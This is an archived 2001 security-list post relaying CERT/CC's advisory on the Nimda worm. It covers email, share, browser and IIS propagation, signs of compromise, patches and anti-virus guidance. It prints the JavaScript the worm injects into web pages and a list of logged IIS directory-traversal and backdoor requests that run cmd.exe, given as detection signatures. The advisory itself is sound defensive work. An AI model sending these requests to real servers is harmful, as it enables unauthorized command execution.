[NEWS] Nimda Worm Attacks Both Clients and Servers
From: support@securiteam.comDate: 09/19/01
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From: support@securiteam.com To: list@securiteam.com Subject: [NEWS] Nimda Worm Attacks Both Clients and Servers Message-Id: <20010919212813.E090E138C1@mail.der-keiler.de> Date: Wed, 19 Sep 2001 23:28:13 +0200 (CEST)
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Nimda Worm Attacks Both Clients and Servers
------------------------------------------------------------------------
SUMMARY
The CERT/CC has received reports of new malicious code known as the
"W32/Nimda worm" or the "Concept Virus (CV) v.5." This new worm appears to
spread by multiple mechanisms:
* from client to client via email
* from client to client via open network shares
* from web server to client via browsing of compromised web sites
* from client to web server via active scanning for and exploitation of
the "Microsoft IIS 4.0 / 5.0 directory traversal" vulnerability (
<http://www.securiteam.com/windowsntfocus/6U00B2000A.html>
http://www.securiteam.com/windowsntfocus/6U00B2000A.html)
* from client to web server via scanning for the back doors left behind
by the "Code Red II" (
<http://www.securiteam.com/windowsntfocus/5NP011F55W.html>
http://www.securiteam.com/windowsntfocus/5NP011F55W.html), and
"sadmind/IIS" (http://www.cert.org/advisories/CA-2001-11.html) worms
Initial analysis indicates that the worm contains no destructive payload
beyond modification of web content to facilitate its own propagation.
CERT/CC are also receiving reports of denial of service as a result of
network scanning and email propagation.
DETAILS
Vulnerable systems:
* Systems running Microsoft Windows 95, 98, ME, NT, and 2000
The Nimda worm has the potential to affect both user workstations
(clients) running Windows 95, 98, ME, NT, or 2000 and servers running
Windows NT and 2000.
Email Propagation
This worm propagates through email arriving as a MIME
"multipart/alternative" message consisting of two sections. The first
section is defined as MIME type "text/html", but it contains no text, so
the email appears to have no content. The second section is defined as
MIME type "audio/x-wav", but it contains a base64-encoded attachment named
"readme.exe", which is a binary executable.
Due to a vulnerability described in CA-2001-06 (Automatic Execution of
Embedded MIME Types), any mail software running on an x86 platform that
uses Microsoft Internet Explorer 5.5 SP1 or earlier (except IE 5.01 SP2)
to render the HTML mail automatically runs the enclosed attachment and, as
result, infects the machine with the worm. Thus, in vulnerable
configurations, the worm payload will automatically be triggered by simply
opening (or previewing) this mail message. As an executable binary, the
payload can also be triggered by simply running the attachment.
The email message delivering the Nimda worm appears to also have the
following characteristics:
* The text in the subject line of the mail message appears to be
variable, but those seen to date have been over 80 characters long.
* There appear to be many slight variations in the attached binary file,
causing the MD5 checksum to be different when one compares different
attachments from different email messages. However, the file length of the
attachment appears to consistently be 57344 bytes.
Payload
Infected client machines attempt to send copies of the Nimda worm via
email to all addresses found in the Windows address book.
Likewise, the client machines begin scanning for vulnerable IIS servers.
Nimda looks for backdoors left by previous IIS worms: Code Red II
[IN-2001-09] and sadmind/IIS worm [CA-2001-11]. It also attempts to
exploit the IIS Directory Traversal vulnerability (VU #111677). The
selection of potential target IP addresses follows these rough
probabilities:
* 50% of the time, an address with the same first two octets will be
chosen
* 25% of the time, an address with the same first octet will be chosen
* 25% of the time, a random address will be chosen
The infected client machine transfers a copy of the Nimda code to any
server that it scans and finds to be vulnerable. Once running on the
server machine, the worm traverses each directory in the system (including
all those accessible through a file shares) and write a copy of itself to
disk using the name "README.EML". When a directory containing web content
(e.g., HTML or ASP files) is found, the following snippet of Javascript
code is appended to every one of these web-related files:
<scr!pt language="JavaScript">window.open("readme.eml", null,
"resizable=no,top=6000,left=6000")</script>
This modification of web content allows further propagation of the worm to
new clients through a browser or browsing of a network file system.
Browser propagation
As part of the infection process, the Nimda worm modifies all web content
files it finds (including, but not limited to, files with .htm, .html, and
asp extensions). As a result, any user browsing web content on the
system, whether via the file system or via a web server, may download a
copy of the worm. Some browsers may automatically execute the downloaded
copy, thereby infecting the browsing system.
File system propagation
The Nimda worm creates numerous copies of itself (using the name
README.EML) in all writable directories (including those found on a
network share) to which the user has access. If a user on another system
subsequently selects the copy of the worm file on the shared network drive
in Windows Explorer with the preview option enabled, the worm may be able
to compromise that system.
System footPrint
The scanning activity of the Nimda worm produces the following log entries
for any web server listing on port 80/tcp:
GET /scripts/root.exe?/c+dir
GET /MSADC/root.exe?/c+dir
GET /c/winnt/system32/cmd.exe?/c+dir
GET /d/winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET
/msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir
Note: The first four entries in these sample logs denote attempts to
connect to the backdoor left by Code Red II, while the remaining log
entries are examples of exploit attempts for the Directory Traversal
vulnerability.
Impact
Intruders can execute arbitrary commands within the LocalSystem security
context on machines running the unpatched versions of IIS. Hosts that have
been compromised are also at high risk for being party to attacks on other
Internet sites.
The high scanning rate of the Nimda worm may also cause bandwidth
denial-of-service conditions on networks with infected machines.
Solutions
Recommendations for system administrators of IIS machines
To determine if your system has been compromised, look for the following:
* root.exe artifact (indicates a compromise by Code Red II or sadmind/IIS
worms making the system vulnerable to the Nimda worm)
* admin.dll artifact or unexpected .eml files in the directories with web
content (indicates compromise by the Nimda worm)
The only safe way to recover from the system compromise is to format the
system drive(s) and reinstall the system software from trusted media (such
as vendor-supplied CD-ROM). Additionally, after the software is
reinstalled, all vendor-supplied security patches must be applied. The
recommended time to do this is while the system is not connected to any
network. However, if sufficient care is taken to disable all server
network services, then the patches can be downloaded from the Internet.
Detailed instructions for recovering your system can be found in the
CERT/CC tech tip:
<http://www.cert.org/tech_tips/win-UNIX-system_compromise.html> Steps for
Recovering from a UNIX or NT System Compromise
Apply the appropriate patch from your vendor
A cumulative patch which addresses all of the IIS-related vulnerabilities
exploited by the Nimda worm is available from Microsoft at
<http://www.securiteam.com/windowsntfocus/5KP0C2055A.html>
http://www.securiteam.com/windowsntfocus/5KP0C2055A.html
Or
<http://www.microsoft.com/technet/security/bulletin/MS01-044.asp>
http://www.microsoft.com/technet/security/bulletin/MS01-044.asp
Recommendations for end user systems
Apply the appropriate patch from your vendor
If you are running a vulnerable version of Internet Explorer (IE), the
CERT/CC recommends applying patch for the "Automatic Execution of Embedded
MIME Types" vulnerability available from Microsoft at
<http://www.microsoft.com/technet/security/bulletin/MS01-020.asp >
http://www.microsoft.com/technet/security/bulletin/MS01-020.asp
Note: The above patch has been superseded by the IE 5.01 and 5.5 patches
discussed in <http://www.securiteam.com/windowsntfocus/5WP0D204AQ.html>
MS01-027
Run and maintain an anti-virus product
It is important for users to update their anti-virus software. Most
anti-virus software vendors have released updated information, tools, or
virus databases to help detect and partially recover from this malicious
code
Many anti-virus packages support automatic updates of virus definitions.
We recommend using these automatic updates when available.
* Don't open e-mail attachments
The Nimda worm may arrive as an email attachment named "readme.exe". Users
should not open this attachment.
* Disable JavaScript End-user systems can become infected with the Nimda
worm by browsing web sites hosted by infected servers. This method of
infection requires the use of JavaScript to be successful. Therefore, the
CERT/CC recommends that end user systems disable JavaScript.
Vendor Information
Antivirus vendor information
Central Command, Inc.
<http://support.centralcommand.com/cgi-bin/command.cfg/php/enduser/std_adp.php?p_refno=010918-000005> http://support.centralcommand.com/cgi-bin/command.cfg/php/enduser/std_adp.php?p_refno=010918-000005
Command Software Systems
<http://www.commandsoftware.com/virus/nimda.html>
http://www.commandsoftware.com/virus/nimda.html
Data Fellows Corp
<http://www.datafellows.com/v-descs/nimda.shtml>
http://www.datafellows.com/v-descs/nimda.shtml
McAfee
<http://vil.mcafee.com/dispVirus.asp?virus_k=99209&>
http://vil.mcafee.com/dispVirus.asp?virus_k=99209&
Sophos
<http://www.sophos.com/virusinfo/analyses/w32nimdaa.html>
http://www.sophos.com/virusinfo/analyses/w32nimdaa.html
Symantec
<http://www.symantec.com/avcenter/venc/data/w32.nimda.a@mm.html>
http://www.symantec.com/avcenter/venc/data/w32.nimda.a@mm.html
Trend Micro
<http://www.antivirus.com/vinfo/virusencyclo/default5.asp?VName=TROJ_NIMDA.A> http://www.antivirus.com/vinfo/virusencyclo/default5.asp?VName=TROJ_NIMDA.A <http://www.antivirus.com/pc-cillin/vinfo/virusencyclo/default5.asp?VName=TROJ_NIMDA.A> http://www.antivirus.com/pc-cillin/vinfo/virusencyclo/default5.asp?VName=TROJ_NIMDA.A
ADDITIONAL INFORMATION
The information has been provided by Roman Danyliw, Chad Dougherty, Allen
Householder, Robin Ruefle of CERT.
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